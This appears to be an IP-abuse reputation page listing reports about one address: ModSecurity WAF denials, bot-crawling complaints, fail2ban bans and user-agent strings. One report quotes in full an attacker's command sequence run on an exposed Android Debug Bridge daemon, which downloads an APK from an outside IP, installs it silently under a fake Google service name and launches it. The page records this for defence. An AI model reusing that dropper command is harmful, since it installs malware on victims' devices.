🇺🇸
TPI-Abuse
2026-11-01 16:43:51
(2 days ago)
(mod_security) mod_security (id:210350) triggered by 103.109.59.9 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sun Nov 01 11:43:44.342600 2026] [security2:error] [pid 22712:tid 22712] [client 103.109.59.9:55694] Mod ...
show more
(mod_security) mod_security (id:210350) triggered by 103.109.59.9 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sun Nov 01 11:43:44.342600 2026] [security2:error] [pid 22712:tid 22712] [client 103.109.59.9:55694] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||usaangelinvestors.com|F|4"] [data "close, keep-alive"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "usaangelinvestors.com"] [uri "/angel-money-lenders"] [unique_id "audsQCrihE7sxYScCQqUbAAAABo"], referer: https://energycapitalinvestments.com/
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2026-10-26 07:39:55
(1 week ago)
(mod_security) mod_security (id:210350) triggered by 103.109.59.9 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Oct 26 03:39:50.904598 2026] [security2:error] [pid 16002:tid 16002] [client 103.109.59.9:40348] Mod ...
show more
(mod_security) mod_security (id:210350) triggered by 103.109.59.9 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Oct 26 03:39:50.904598 2026] [security2:error] [pid 16002:tid 16002] [client 103.109.59.9:40348] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||cbcfargo.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "cbcfargo.com"] [uri "/resources/promise/true_joy.pdf"] [unique_id "at8DxikoZzcvcPgaBuZ4owAAABA"], referer: https://cbcfargo.com/
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2026-10-25 01:57:33
(1 week ago)
(mod_security) mod_security (id:210350) triggered by 103.109.59.9 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sat Oct 24 21:57:24.792141 2026] [security2:error] [pid 15739:tid 15739] [client 103.109.59.9:32782] Mod ...
show more
(mod_security) mod_security (id:210350) triggered by 103.109.59.9 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sat Oct 24 21:57:24.792141 2026] [security2:error] [pid 15739:tid 15739] [client 103.109.59.9:32782] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||somuchtoread.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "somuchtoread.com"] [uri "/"] [unique_id "at1iBCxHve4bjiMgal0QyAAAABE"], referer: https://vagabondscholar.blogspot.com/2026/10/banned-books-week-2026.html
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
kosada.com
2026-10-24 21:33:10
(1 week ago)
Repeated requests classified as pathological web bot behavior, for example: /[redacted]?topics%5B2%5D=30&topics%5B4%5D=42&topics%5B5%5D=69&topics%5B6%5D=63 (HTTP/2.0 port 443, user agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ...
show more
Repeated requests classified as pathological web bot behavior, for example: /[redacted]?topics%5B2%5D=30&topics%5B4%5D=42&topics%5B5%5D=69&topics%5B6%5D=63 (HTTP/2.0 port 443, user agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36")
show less
DDoS Attack
Bad Web Bot
🇫🇷
bigorre.org
2026-10-15 16:00:14
(2 weeks ago)
Unidentified crawling: not a self-announced bot in user-agent
Bad Web Bot
🇺🇸
drewf.ink
2026-10-10 18:03:13
(3 weeks ago)
[18:03] Ran commands on an exposed Android Debug Bridge daemon: DIR=/data/local/tmp; cd $DIR 2>/dev/null||cd /sdcard 2>/dev/null||cd /tmp 2>/dev/null||cd /; rm -f s.apk; (curl -skL http://217.60.195.187/LjEZs/Services.apk -o s.apk||toybox wget http:/ ...
show more
[18:03] Ran commands on an exposed Android Debug Bridge daemon: DIR=/data/local/tmp; cd $DIR 2>/dev/null||cd /sdcard 2>/dev/null||cd /tmp 2>/dev/null||cd /; rm -f s.apk; (curl -skL http://217.60.195.187/LjEZs/Services.apk -o s.apk||toybox wget http://217.60.195.187/LjEZs/Services.apk -O s.apk||wget http://217.60.195.187/LjEZs/Services.apk -O s.apk||busybox wget http://217.60.195.187/LjEZs/Services.apk -O s.apk) 2>/dev/null; SZ=$(ls -l s.apk 2>/dev/null | awk '{print $5}'); pm install -r -g s.apk >/dev/null 2>&1; cmd package install -r -g s.apk >/dev/null 2>&1; pm enable com.google.android.system.service >/dev/null 2>&1; am broadcast -a com.google.android.system.service.ENABLE_APP >/dev/null 2>&1; am start -n com.google.android.system.service/.TVOptimizer >/dev/null 2>&1; am start-foreground-service -n com.google.android.system.service/.MuhHeilong >/dev/null 2>&1; pm path com.google.android.system.service 2>/dev/null; echo SZ=$SZ
show less
Hacking
Exploited Host
IoT Targeted
🇺🇸
kosada.com
2026-10-05 12:20:04
(4 weeks ago)
Repeated requests classified as pathological web bot behavior, for example: /[redacted]?topics%5B0%5D=30&topics%5B1%5D=62&topics%5B2%5D=45&topics%5B3%5D=55 (HTTP/2.0 port 443, user agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/5 ...
show more
Repeated requests classified as pathological web bot behavior, for example: /[redacted]?topics%5B0%5D=30&topics%5B1%5D=62&topics%5B2%5D=45&topics%5B3%5D=55 (HTTP/2.0 port 443, user agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36")
show less
DDoS Attack
Bad Web Bot
🇺🇸
鬼影233
2026-10-01 12:37:27
(1 month ago)
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Bad Web Bot
🇺🇸
鬼影233
2026-10-01 11:24:34
(1 month ago)
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Bad Web Bot
🇺🇸
鬼影233
2026-10-01 08:46:25
(1 month ago)
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Bad Web Bot
🇮🇹
A000Z
2026-09-30 08:51:11
(1 month ago)
Fail2Ban: 103.109.59.9 was banned for Aggressive Bad Bot detected by Nginx/Fail2Ban. UA: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Bad Web Bot
🇨🇭
ALPHANET
2026-09-29 06:25:09
(1 month ago)
Botnet or web spider not respecting robots.txt
DDoS Attack
Exploited Host
🇺🇸
鬼影233
2026-09-28 09:31:18
(1 month ago)
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Bad Web Bot
🇺🇸
鬼影233
2026-09-26 14:36:58
(1 month ago)
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Bad Web Bot
🇺🇸
鬼影233
2026-09-26 13:53:20
(1 month ago)
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Bad Web Bot
